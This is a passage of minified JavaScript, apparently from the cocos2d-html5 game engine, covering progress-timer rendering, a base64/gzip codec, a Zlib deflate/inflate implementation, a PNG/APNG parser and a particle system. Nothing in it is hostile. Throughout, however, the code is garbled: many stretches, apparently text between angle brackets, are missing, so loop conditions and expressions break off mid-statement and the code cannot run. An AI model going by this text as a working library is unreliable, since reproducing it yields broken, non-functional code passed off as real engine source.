this.dc.opacity},rP:null,YX:function(a){this.Dd!==a&&(this.Dd=a)},ZX:function(a){this.Dd!==a&&(this.Dd=a,this.sf=this.yc=null,this.od=0)},Iy:null,dY:function(a){this.dc!=a&&(this.dc=a,this.width=this.dc.width,this.height=this.dc.height)},eY:function(a){a&&this.dc!=a&&(this.dc=a,this.width=a.width,this.height=a.height, this.yc&&(this.sf=this.yc=null,this.od=0))},tG:null,lY:function(a){a!==this.mc&&(this.mc=a)},mY:function(a){a!==this.mc&&(this.yc&&(this.sf=this.yc=null,this.od=0),this.mc=a)},kG:null,WX:function(a){this.Dd!==a&&(this.Dd=a)},XX:function(a){this.Dd!==a&&(this.Dd=a,this.sf=this.yc=null,this.od=0)},qe:function(a){var c=this.dc;if(!c)return{ea:0,fa:0};var d=c.quad,e=N(d.F.l.ea,d.F.l.fa),d=N(d.J.l.ea,d.J.l.fa);c.textureRectRotated&&(c=a.x,a.x=a.y,a.y=c);return{ea:e.x*(1-a.x)+d.x*a.x,fa:e.y*(1-a.y)+d.y* a.y}},re:function(a){if(!this.dc)return{x:0,y:0};var c=this.dc.quad,d=N(c.F.i.x,c.F.i.y),c=N(c.J.i.x,c.J.i.y);return{x:d.x*(1-a.x)+c.x*a.x,y:d.y*(1-a.y)+c.y*a.y}},kF:null,zW:function(a){this.percentage=0;this.anchorY=this.anchorX=0.5;this.mc=b.Ya.Xh;this.Dd=!1;this.midPoint=N(0.5,0.5);this.barChangeRate=N(1,1);this.sprite=a;return!0},AW:function(a){this.percentage=0;this.sf=this.yc=null;this.od=0;this.anchorY=this.anchorX=0.5;this.mc=b.Ya.Xh;this.Dd=!1;this.midPoint=N(0.5,0.5);this.barChangeRate= N(1,1);this.sprite=a;this.shaderProgram=b.Ld.nc(b.Ti);return!0},Z:null,Ql:function(a){a=a||b.k;var c=this.dc;c.mo&&(a.globalCompositeOperation="lighter");var d=b.view.pa,e=b.view.Ta;a.globalAlpha=c.Ca/255;var f=c.ha,g=c.O,h=c.Eb,k=c.rB,m=0|h.x,p=-h.y-f.height,r=c.Do;k.width=f.width*d;k.height=f.height*e;a.save();c.Qb&&(m=-h.x-f.width,a.scale(-1,1));c.Rb&&(p=h.y,a.scale(1,-1));m*=d;p*=e;this.mc==b.Ya.Fl?(f=this.TA,a.beginPath(),a.rect(f.x*d,f.y*e,f.width*d,f.height*e),a.clip(),a.closePath()):this.mc== b.Ya.Xh&&(f=this.gw.x*d,h=this.gw.y*e,a.beginPath(),a.arc(f,h,this.Ie*e,Math.PI/180*this.xD,Math.PI/180*this.tB,this.jB),a.lineTo(f,h),a.clip(),a.closePath());c.K&&r.Qp?(d=c.K.Db,this.nv?a.drawImage(d,0,0,r.width,r.height,m,p,k.width,k.height):a.drawImage(d,r.x,r.y,r.width,r.height,m,p,k.width,k.height)):0!==g.width&&(k=this.color,a.fillStyle="rgba("+k.r+","+k.g+","+k.b+",1)",a.fillRect(m,p,g.width*d,g.height*e));a.restore();b.cg()},$i:function(a){a=a||b.k;if(this.yc&&this.dc){b.kt(this);var c=this.dc.Hh(); b.Mh(c.src,c.U);b.Ic(b.Gl);b.te(this.dc.texture);a.bindBuffer(a.ARRAY_BUFFER,this.UD);this.xs&&(a.bufferData(a.ARRAY_BUFFER,this.sf,a.DYNAMIC_DRAW),this.xs=!1);c=b.xd.BYTES_PER_ELEMENT;a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,c,0);a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,c,8);a.vertexAttribPointer(b.yd,2,a.FLOAT,!1,c,12);this.mc===b.Ya.Xh?a.drawArrays(a.TRIANGLE_FAN,0,this.od):this.mc==b.Ya.Fl&&(this.Dd?(a.drawArrays(a.TRIANGLE_STRIP,0,this.od/2),a.drawArrays(a.TRIANGLE_STRIP,4,this.od/2),b.bg++): a.drawArrays(a.TRIANGLE_STRIP,0,this.od));b.bg++}},LY:function(){if(this.dc){var a,c=this.ph;a=this.mi/100;var d=N(c.x,1),e=b.i2(d,c,2*b.PI*(this.Dd?a:1-a)),f=0;if(0==a)e=d,f=0;else if(1==a)e=d,f=4;else{var g=b.eR,h=b.Ya.XH;for(a=0;a<=h;++a){var k=this.YA(a%h),m=this.YA((a+(h-1))%h);0==a?m=b.yO(k,m,1-c.x):4==a&&(k=b.yO(k,m,1-c.x));var p=N(0,0);b.LF(k,m,c,e,p)&&(0!=a&&4!=a||0<=p.x&&1>=p.x)&&0<=p.y&&p.yc.x&&(d.x+=-c.x,c.x=0);1c.y&&(d.y+=-c.y,c.y=0);1a;a++)f[a]=new b.xd(null,null,null,this.sf,a*e);f[0].l=this.qe(N(0,1));f[0].i=this.re(N(0,1));f[1].l=this.qe(N(0,0));f[1].i=this.re(N(0,0));f[6].l=this.qe(N(1,1));f[6].i=this.re(N(1,1));f[7].l=this.qe(N(1, 0));f[7].i=this.re(N(1,0));this.yc=f}a=this.yc;a[2].l=this.qe(N(c.x,d.y));a[2].i=this.re(N(c.x,d.y));a[3].l=this.qe(N(c.x,c.y));a[3].i=this.re(N(c.x,c.y));a[4].l=this.qe(N(d.x,d.y));a[4].i=this.re(N(d.x,d.y));a[5].l=this.qe(N(d.x,c.y));a[5].i=this.re(N(d.x,c.y))}else{if(!this.yc)for(this.od=4,e=b.xd.BYTES_PER_ELEMENT,this.sf=new ArrayBuffer(4*e),this.yc=[],a=0;4>a;a++)this.yc[a]=new b.xd(null,null,null,this.sf,a*e);a=this.yc;a[0].l=this.qe(N(c.x,d.y));a[0].i=this.re(N(c.x,d.y));a[1].l=this.qe(N(c.x, c.y));a[1].i=this.re(N(c.x,c.y));a[2].l=this.qe(N(d.x,d.y));a[2].i=this.re(N(d.x,d.y));a[3].l=this.qe(N(d.x,c.y));a[3].i=this.re(N(d.x,c.y))}this.fc()}},fc:function(){if(this.dc&&this.yc){for(var a=this.dc.quad.L.t,c=this.yc,d=0,e=this.od;d=c-k.x&&(f=c-h.width);c=k.y-h.height/2;0.5=d-k.y&&(c=d-h.height);g.x=0;d=1;a.Qb&&(g.x-=h.width,d=-1);0a.height?(a=16,c=12):(a=12,c=16);a=this.Ko(O(a,c));this.gv?(this.ma.visible=!1,this.ma.ua(b.qa.create(b.Df.create(),a,b.jb.create(this.finish,this),b.Dl.create()))):this.eb.ua(b.qa.create(a,b.jb.create(this.finish,this),b.Dl.create()))}, si:function(){this.nh=this.gv}});b.qI.create=function(a,c,d){var e=new b.qI;e.d(a,c,d);return e};b.ka={name:"Jacob__Codec"};b.J4=function(){return b.ka.Ha.xx.apply(b.ka.Ha,arguments)};b.K4=function(){var a=b.ka.ol.CM.apply(b.ka.ol,arguments);return b.ka.Ha.xx.apply(b.ka.Ha,[a])};b.UP=function(a,c){c=c||1;var d=this.K4(a),e=[],f,g,h;f=0;for(h=d.length/c;f>4,e=(e&15)<<4|g>>2,f=(g&3)<<6|h,c.push(String.fromCharCode(d)),64!=g&&c.push(String.fromCharCode(e)),64!=h&&c.push(String.fromCharCode(f));return c=c.join("")}; b.ka.ol.DM=function(a,c){var d=this.CM(a),e=[],f,g,h;f=0;for(h=d.length/c;f>=1;0==a.xi&&(a.xi=a.S(),c=a.xi&1,a.xi=a.xi>>1|128);return c}function U(a,c){for(var d=0,e=c;e--;)d=d<<1|fa(a);c&&(d=b.ka.Ha.gE[d]>>8-c);return d}function ja(a,c){a.iE[a.Dh++]=c;a.ut.push(String.fromCharCode(c));32768==a.Dh&&(a.Dh=0)} function ka(a){for(;;){if(a.Zo[a.Ph]>=a.YM)return-1;if(a.WM[a.Zo[a.Ph]]==a.Ph)return a.Zo[a.Ph]++;a.Zo[a.Ph]++}}function la(a){var c=a.Ez[a.Qt],d;if(17==a.Ph)return-1;a.Qt++;a.Ph++;d=ka(a);if(0<=d)c.Yw=d;else if(c.Yw=32768,la(a))return-1;d=ka(a);if(0<=d)c.Zw=d,c.xF=null;else if(c.Zw=32768,c.xF=a.Ez[a.Qt],c.p1=a.Qt,la(a))return-1;a.Ph--;return 0}function ma(a,c,d,e){a.Ez=c;a.Qt=0;a.WM=e;a.YM=d;for(c=0;17>c;c++)a.Zo[c]=0;a.Ph=0;return la(a)?-1:0} function na(a,c){for(var d,e,f=0,g=c[f];;)if(d=fa(a)){if(!(g.Zw&32768))return g.Zw;g=g.xF;d=c.length;for(e=0;e>1,23e)ja(a,e);else if(256==e)break;else{var h;e-=257;g=U(a,b.ka.Ha.AM[e])+b.ka.Ha.zM[e];e=b.ka.Ha.gE[U(a,5)]>>3;8e;e++)k[e]=0;for(e=0;ee)k[f++]=e;else if(16==e){var p;e=3+U(a,2);if(f+e>g){a.Dh=0;return}for(p=f?k[f-1]:0;e--;)k[f++]=p}else{e=17==e?3+U(a,3):11+U(a,7);if(f+e>g){a.Dh=0;return}for(;e--;)k[f++]= 0}g=a.gt.length;for(f=0;f>>0}c=1;d=0;for(var e=a.length,f,g=0;0>>0}function e(c,d){this.index="number"===typeof d?d:0; this.Zs=0;this.buffer=c instanceof(z?Uint8Array:Array)?c:new (z?Uint8Array:Array)(32768);2*this.buffer.length<=this.index&&a(Error("invalid index"));this.buffer.length<=this.index&&this.Gh()}function f(a){this.buffer=new (z?Uint16Array:Array)(2*a);this.length=0}function g(a){var c=a.length,d=0,e=Number.POSITIVE_INFINITY,f,g,h,k,m,p,r,s,t;for(s=0;sd&&(d=a[s]),a[s]>=1;for(t=p;t=c:return[265,c-11,1];case 14>=c:return[266,c-13,1];case 16>=c:return[267,c-15,1];case 18>=c:return[268,c-17,1];case 22>=c:return[269,c-19,2];case 26>=c:return[270,c-23,2];case 30>=c:return[271,c-27,2];case 34>=c:return[272,c-31,2];case 42>=c:return[273,c-35,3];case 50>=c:return[274,c-43,3];case 58>=c:return[275,c-51,3];case 66>=c:return[276, c-59,3];case 82>=c:return[277,c-67,4];case 98>=c:return[278,c-83,4];case 114>=c:return[279,c-99,4];case 130>=c:return[280,c-115,4];case 162>=c:return[281,c-131,5];case 194>=c:return[282,c-163,5];case 226>=c:return[283,c-195,5];case 257>=c:return[284,c-227,5];case 258===c:return[285,c-258,0];default:a("invalid length: "+c)}}function p(c,d){function e(c,d){var f=c.gR,g=[],h=0,k;k=V[c.length];g[h++]=k&65535;g[h++]=k>>16&255;g[h++]=k>>24;var m;switch(I){case 1===f:m=[0,f-1,0];break;case 2===f:m=[1,f- 2,0];break;case 3===f:m=[2,f-3,0];break;case 4===f:m=[3,f-4,0];break;case 6>=f:m=[4,f-5,1];break;case 8>=f:m=[5,f-7,1];break;case 12>=f:m=[6,f-9,2];break;case 16>=f:m=[7,f-13,2];break;case 24>=f:m=[8,f-17,3];break;case 32>=f:m=[9,f-25,3];break;case 48>=f:m=[10,f-33,4];break;case 64>=f:m=[11,f-49,4];break;case 96>=f:m=[12,f-65,5];break;case 128>=f:m=[13,f-97,5];break;case 192>=f:m=[14,f-129,6];break;case 256>=f:m=[15,f-193,6];break;case 384>=f:m=[16,f-257,7];break;case 512>=f:m=[17,f-385,7];break; case 768>=f:m=[18,f-513,8];break;case 1024>=f:m=[19,f-769,8];break;case 1536>=f:m=[20,f-1025,9];break;case 2048>=f:m=[21,f-1537,9];break;case 3072>=f:m=[22,f-2049,10];break;case 4096>=f:m=[23,f-3073,10];break;case 6144>=f:m=[24,f-4097,11];break;case 8192>=f:m=[25,f-6145,11];break;case 12288>=f:m=[26,f-8193,12];break;case 16384>=f:m=[27,f-12289,12];break;case 24576>=f:m=[28,f-16385,13];break;case 32768>=f:m=[29,f-24577,13];break;default:a("invalid distance")}k=m;g[h++]=k[0];g[h++]=k[1];g[h++]=k[2]; f=0;for(h=g.length;f=h;)w[h++]=0;for(h=0;29>=h;)x[h++]=0}w[256]=1;f=0;for(g=d.length;f=g){s&&e(s,-1);h=0;for(m=g-f;hF&&f+FD&&(p=m,D=F);if(258===F)break}m=new k(D,f-p);s?s.length2*m[x-1]+g[x]&&(m[x]=2*m[x-1]+g[x]),p[x]=Array(m[x]),t[x]=Array(m[x]);for(v=0;vk[v]?(p[x][w]=y,t[x][w]=r,B+=2):(p[x][w]=k[v],t[x][w]=v,++v);u[x]=0;1===g[x]&&d(x)}k= s;m=0;for(p=e.length;m1<g&&a("undercommitted");h=0;for(k=c.length;h>>=1;return d}function u(a,c){this.input=a;this.a=new (z?Uint8Array:Array)(32768);this.hp=M.Nx;var d={},e;!c&&(c={})||"number"!== typeof c.uE||(this.hp=c.uE);for(e in c)d[e]=c[e];d.iy=this.a;this.z=new h(this.input,d)}function t(c,d){this.Ox=[];this.Yx=32768;this.Mg=this.g=this.C=this.py=0;this.input=z?new Uint8Array(c):c;this.$F=!1;this.by=ga;this.PG=!1;if(d||!(d={}))d.index&&(this.C=d.index),d.jE&&(this.Yx=d.jE),d.kE&&(this.by=d.kE),d.resize&&(this.PG=d.resize);switch(this.by){case pa:this.b=32768;this.a=new (z?Uint8Array:Array)(32768+this.Yx+258);break;case ga:this.b=0;this.a=new (z?Uint8Array:Array)(this.Yx);this.Gh=this.sR; this.BG=this.iR;this.ey=this.mR;break;default:a(Error("invalid inflate mode"))}}function v(c,d){for(var e=c.g,f=c.Mg,g=c.input,h=c.C,k;f>>d;c.Mg=f-d;c.C=h;return e&(1<>>16;c.g=e>>k;c.Mg=f-k;c.C=h;return g&65535}function y(a){function c(a,d,e){var f,g,h,k;for(k=0;k< a;)switch(f=w(this,d),f){case 16:for(h=3+v(this,2);h--;)e[k++]=g;break;case 17:for(h=3+v(this,3);h--;)e[k++]=0;g=0;break;case 18:for(h=11+v(this,7);h--;)e[k++]=0;g=0;break;default:g=e[k++]=f}return e}var d=v(a,5)+257,e=v(a,5)+1,f=v(a,4)+4,h=new (z?Uint8Array:Array)(va.length),k;for(k=0;k>>8&255]<<16|J[a>>>16&255]<<8|J[a>>>24&255])>>32-c:J[a]>>8-c);if(8>c+g)h=h<>c-d-1&1,8===++g&&(g=0,e[f++]=J[h],h=0,f===e.length&&(e=this.Gh()));e[f]=h;this.buffer=e;this.Zs=g;this.index=f};e.prototype.finish=function(){var a=this.buffer,c=this.index,d; 0x;++x){for(var F=x,K=F,L=7,F=F>>>1;F;F>>>=1)K<<=1,K|=F&1,--L;D[x]=(K<>>0}var J=D,D=[0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152, 4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290, 251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015, 1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381, 1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115, 1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918E3,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117];z&&new Uint32Array(D);f.prototype.getParent=function(a){return 2* ((a-2)/4|0)};f.prototype.push=function(a,c){var d,e,f=this.buffer,g;d=this.length;f[this.length++]=c;for(f[this.length++]=a;0f[e])g=f[d],f[d]=f[e],f[e]=g,g=f[d+1],f[d+1]=f[e+1],f[e+1]=g,d=e;else break;return this.length};f.prototype.pop=function(){var a,c,d=this.buffer,e,f,g;c=d[0];a=d[1];this.length-=2;d[0]=d[this.length];d[1]=d[this.length+1];for(g=0;;){f=2*g+2;if(f>=this.length)break;f+2d[f]&&(f+=2);if(d[f]>d[g])e=d[g],d[g]=d[f],d[f]=e,e=d[g+ 1],d[g+1]=d[f+1],d[f+1]=e;else break;g=f}return{index:a,value:c,length:this.length}};var P=2,D={NONE:0,r:1,Nx:P,E6:3},S=[];for(x=0;288>x;x++)switch(I){case 143>=x:S.push([x+48,8]);break;case 255>=x:S.push([x-144+400,9]);break;case 279>=x:S.push([x-256+0,7]);break;case 287>=x:S.push([x-280+192,8]);break;default:a("invalid literal: "+x)}h.prototype.cl=function(){var c,d,f,g,h=this.input;switch(this.hp){case 0:f=0;for(g=h.length;f>>8&255;u[v++]=t&255;u[v++]=t>>>8&255;if(z)u.set(d,v),v+=d.length,u=u.subarray(0,v);else{m=0;for(t=d.length;mE)for(;0E?E:138,L>E-3&&L=L?(M[K++]=17,M[K++]=L-3,D[17]++):(M[K++]=18,M[K++]=L-11,D[18]++),E-=L;else if(M[K++]=c[H],D[c[H]]++,E--,3>E)for(;0E?E:6,L>E-3&&LH;H++)m[H]=D[B[H]];for(y=19;4=R;R++)F=m(),x[R]=F[2]<<24|F[1]<<16|F[0];var V=z?new Uint32Array(x):x,M=D;u.prototype.cl=function(){var c,e,f,g,h=0;g=this.a;c=ca;switch(c){case ca:e=Math.LOG2E*Math.log(32768)-8;break;default:a(Error("invalid compression method"))}e=e<<4|c;g[h++]=e;switch(c){case ca:switch(this.hp){case M.NONE:f=0;break;case M.r:f=1;break; case M.Nx:f=2;break;default:a(Error("unsupported compression type"))}break;default:a(Error("invalid compression method"))}c=f<<6|0;g[h++]=c|31-(256*e+c)%31;c=d(this.input);this.z.b=h;g=this.z.cl();h=g.length;z&&(g=new Uint8Array(g.buffer),g.length<=h+4&&(this.a=new Uint8Array(g.length+4),this.a.set(g),g=this.a),g=g.subarray(0,h+4));g[h++]=c>>24&255;g[h++]=c>>16&255;g[h++]=c>>8&255;g[h++]=c&255;return g};c("Zlib.Deflate",u);c("Zlib.Deflate.compress",function(a,c){return(new u(a,c)).cl()});c("Zlib.Deflate.CompressionType", M);c("Zlib.Deflate.CompressionType.NONE",M.NONE);c("Zlib.Deflate.CompressionType.FIXED",M.r);c("Zlib.Deflate.CompressionType.DYNAMIC",M.Nx);var pa=0,ga=1,D={GQ:pa,sQ:ga};t.prototype.jy=function(){for(;!this.$F;){var c=v(this,3);c&1&&(this.$F=I);c>>>=1;switch(c){case 0:var c=this.input,d=this.C,e=this.a,f=this.b,g=G,h=G,k=G,m=e.length,g=G;this.Mg=this.g=0;g=c[d++];g===G&&a(Error("invalid uncompressed block header: LEN (first byte)"));h=g;g=c[d++];g===G&&a(Error("invalid uncompressed block header: LEN (second byte)")); h|=g<<8;g=c[d++];g===G&&a(Error("invalid uncompressed block header: NLEN (first byte)"));k=g;g=c[d++];g===G&&a(Error("invalid uncompressed block header: NLEN (second byte)"));k|=g<<8;h===~k&&a(Error("invalid uncompressed block header: length verify"));d+h>c.length&&a(Error("input buffer is broken"));switch(this.by){case pa:for(;f+h>e.length;){g=m-f;h-=g;if(z)e.set(c.subarray(d,d+g),f),f+=g,d+=g;else for(;g--;)e[f++]=c[d++];this.b=f;e=this.Gh();f=this.b}break;case ga:for(;f+h>e.length;)e=this.Gh({fa:2}); break;default:a(Error("invalid inflate mode"))}if(z)e.set(c.subarray(d,d+h),f),f+=h,d+=h;else for(;h--;)e[f++]=c[d++];this.C=d;this.b=f;this.a=e;break;case 1:this.ey(Aa,Ba);break;case 2:y(this);break;default:a(Error("unknown BTYPE: "+c))}}return this.BG()};x=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];var va=z?new Uint16Array(x):x;x=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];var wa=z?new Uint16Array(x):x;x=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2, 3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];var ha=z?new Uint8Array(x):x;x=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];var xa=z?new Uint16Array(x):x;x=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];var ia=z?new Uint8Array(x):x;x=new (z?Uint8Array:Array)(288);F=0;for(K=x.length;F=F?8:255>=F?9:279>=F?7:8;var Aa=g(x);x=new (z?Uint8Array:Array)(30);F=0;for(K=x.length;Fg)e>=f&&(this.b=e,d=this.Gh(),e=this.b),d[e++]=g;else for(g-=257,k=wa[g],0=f&&(this.b=e,d=this.Gh(),e=this.b);k--;)d[e]=d[e++-h];for(;8<=this.Mg;)this.Mg-=8,this.C--;this.b=e};t.prototype.mR=function(a,c){var d=this.a,e=this.b;this.ea=a;for(var f=d.length,g,h,k;256!==(g=w(this,a));)if(256>g)e>=f&&(d=this.Gh(),f=d.length), d[e++]=g;else for(g-=257,k=wa[g],0f&&(d=this.Gh(),f=d.length);k--;)d[e]=d[e++-h];for(;8<=this.Mg;)this.Mg-=8,this.C--;this.b=e};t.prototype.Gh=function(){var a=new (z?Uint8Array:Array)(this.b-32768),c=this.b-32768,d,e,f=this.a;if(z)a.set(f.subarray(32768,a.length));else for(d=0,e=a.length;dd;++d)f[d]=f[c+d];this.b= 32768;return f};t.prototype.sR=function(a){var c,d=this.input.length/this.C+1|0,e,f,g,h=this.input,k=this.a;a&&("number"===typeof a.fa&&(d=a.fa),"number"===typeof a.dR&&(d+=a.dR));2>d?(e=(h.length-this.C)/this.ea[2],g=e/2*258|0,f=gc&&(this.a.length=c),a=this.a);return this.buffer=a};B.prototype.jy=function(){var c=this.input,e,f;e=this.HG.jy();this.C=this.HG.C;this.KR&&(f=(c[this.C++]<<24|c[this.C++]<<16|c[this.C++]<< 8|c[this.C++])>>>0,f!==d(e)&&a(Error("invalid adler-32 checksum")));return e};c("Zlib.Inflate",B);c("Zlib.Inflate.BufferType",D);D.Y4=D.sQ;D.w5=D.GQ;c("Zlib.Inflate.prototype.decompress",B.prototype.jy);D=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];z&&new Uint16Array(D);D=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];z&&new Uint16Array(D);D=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];z&&new Uint8Array(D);D=[1,2,3,4,5,7,9,13, 17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];z&&new Uint16Array(D);D=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];z&&new Uint8Array(D);D=new (z?Uint8Array:Array)(288);x=0;for(F=D.length;x=x?8:255>=x?9:279>=x?7:8;g(D);D=new (z?Uint8Array:Array)(30);x=0;for(F=D.length;xa;++a)f.push(String.fromCharCode(this.data[this.$a++]));a=f.join("");switch(a){case "IHDR":this.width=this.Ij();this.height=this.Ij();this.No=this.data[this.$a++];this.sE=this.data[this.$a++];this.$a++;this.$a++;this.$a++;break;case "acTL":this.fE={Hfa:this.Ij(),Ifa:this.Ij()||Infinity,frames:[]};break;case "PLTE":this.NF= this.xt(c);break;case "fcTL":e&&this.fE.frames.push(e);this.$a+=4;e={width:this.Ij(),height:this.Ij(),aQ:this.Ij(),bQ:this.Ij()};a=this.FO();c=this.FO()||100;e.B9=1E3*a/c;e.O9=this.data[this.$a++];e.e9=this.data[this.$a++];e.data=[];break;case "IDAT":case "fdAT":"fdAT"===a&&(this.$a+=4,c-=4);a=(null!=e?e.data:void 0)||this.Ex;for(f=0;0<=c?fc;0<=c?++f:--f)a.push(this.data[this.$a++]);break;case "tRNS":this.dn={};switch(this.sE){case 3:this.dn.hF=this.xt(c);c=255-this.dn.hF.length;if(0c;0<=c?++a:--a)this.dn.hF.push(255);break;case 0:this.dn.Lca=this.xt(c)[0];break;case 2:this.dn.iha=this.xt(c)}break;case "tEXt":f=this.xt(c);c=f.indexOf(0);a=String.fromCharCode.apply(String,f.slice(0,c));this.text[a]=String.fromCharCode.apply(String,f.slice(c+1));break;case "IEND":e&&this.fE.frames.push(e);a:{switch(this.sE){case 0:case 3:case 4:e=1;break a;case 2:case 6:e=3;break a}e=void 0}this.t=e;this.HN=4===(d=this.sE)||6===d;d=this.t+(this.HN?1:0);this.q2=this.No*d;Uint8Array!= Array&&(this.Ex=new Uint8Array(this.Ex));return;default:this.$a+=c}this.$a+=4;if(this.$a>this.data.length)throw Error("Incomplete or corrupt PNG file");}},xt:function(a){var c,d;d=[];for(c=0;0<=a?ca;0<=a?++c:--c)d.push(this.data[this.$a++]);return d},Ij:function(){var a,c,d,e;a=this.data[this.$a++]<<24;c=this.data[this.$a++]<<16;d=this.data[this.$a++]<<8;e=this.data[this.$a++];return a|c|d|e},FO:function(){var a,c;a=this.data[this.$a++]<<8;c=this.data[this.$a++];return a|c},GZ:function(a){var c, d,e,f,g,h,k,m,p,r,s,u,t,v,w;null==a&&(a=this.Ex);if(0===a.length)return new Uint8Array(0);a=(new Zlib.nn(a,{index:0,ZP:!1})).EM();m=this.q2/8;u=m*this.width;p=new Uint8Array(u*this.height);h=a.length;for(d=r=s=0;r=f*d)!1===this.GF?a.push(e>>>8*(4-f)):a.push(e);else for(var g=0;g=a)b.log("No bytes requested");else{if(1>=a)return this.getUint8(c);if(2>=a)return this.getUint16(c);if(3>=a)return this.getUint32(c)>>>8;if(4>=a)return this.getUint32(c);b.log("Too many bytes requested")}},x_:function(a, c,d){d=d||0;c+=Math.floor(d/8);var e=d+a;a=32-a;var f,g;0>=e?console.log("No bits requested"):8>=e?(f=24+d,g=this.getUint8(c)):16>=e?(f=16+d,g=this.getUint16(c)):32>=e?(f=d,g=this.getUint32(c)):console.log("Too many bits requested");return{bits:g<>>a,byteOffset:c+Math.floor(e/8),bitOffset:e%8}},BO:function(a){var c=this.getUint16(a),d=[];a+=2;for(var e=0;e=E?J=E+1:-127<=E&&-1>=E?P=-E+1:z=!0}else{for(var S=this.getUint8(y+G),E=0;Ea?a:200;else{if(a>this.dv){var c=b.Cb.BYTES_PER_ELEMENT;this.nb=new Uint16Array(6*a);var d=new ArrayBuffer(a*c),e=this.Ek;e.length=0;for(var f=this.Ec,g=f.length=0;g=this.qb},L4:function(a,c){var d=null;this.X?(d=this.X.textureAtlas.quads[this.atlasIndex+ a.atlasIndex],this.X.textureAtlas.dirty=!0):d=this.Ec[this.of];var e,f,g,h;this.Sa?(e=0|a.color.r*a.color.a/255,f=0|a.color.g*a.color.a/255,g=0|a.color.b*a.color.a/255):(e=0|a.color.r,f=0|a.color.g,g=0|a.color.b);h=0|a.color.a;var k=d.F.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.M.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.L.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.J.t;k.r=e;k.g=f;k.b=g;k.a=h;e=a.size/2;if(a.rotation){f=-e;g=-e;h=c.x;var k=c.y,m=-b.$f(a.rotation),p=Math.cos(m),m=Math.sin(m);d.F.i.x=f*p-g*m+h;d.F.i.y=f*m+g*p+k;d.M.i.x= e*p-g*m+h;d.M.i.y=e*m+g*p+k;d.L.i.x=f*p-e*m+h;d.L.i.y=f*m+e*p+k;d.J.i.x=e*p-e*m+h;d.J.i.y=e*m+e*p+k}else d.F.i.x=c.x-e,d.F.i.y=c.y-e,d.M.i.x=c.x+e,d.M.i.y=c.y-e,d.L.i.x=c.x-e,d.L.i.y=c.y+e,d.J.i.x=c.x+e,d.J.i.y=c.y+e},v2:function(){if(b.A===b.$){var a=b.k;a.bindBuffer(a.ARRAY_BUFFER,this.uc[0]);a.bufferData(a.ARRAY_BUFFER,this.Zc,a.DYNAMIC_DRAW)}},update:function(a){if(this.ko&&this.Fm){var c=1/this.Fm;this.tdc;)this.PY(),this.Rl-=c;this.mb+=a; -1!=this.duration&&this.duratione.zd&&(this.tW(f+d),e.UM(e.zd-d,d));a.cp()+d!=f&&e.pO(c,c+d);e.JN(d);this.MD()},removeChild:function(a,c){if(null!=a){if(!(a instanceof b.n))throw"cc.ParticleBatchNode.removeChild(): only supports cc.ParticleSystem as children";if(-1==this.s.indexOf(a))b.log("cc.ParticleBatchNode.removeChild(): doesn't contain the sprite. Can't remove it");else{b.q.prototype.removeChild.call(this,a,c);var 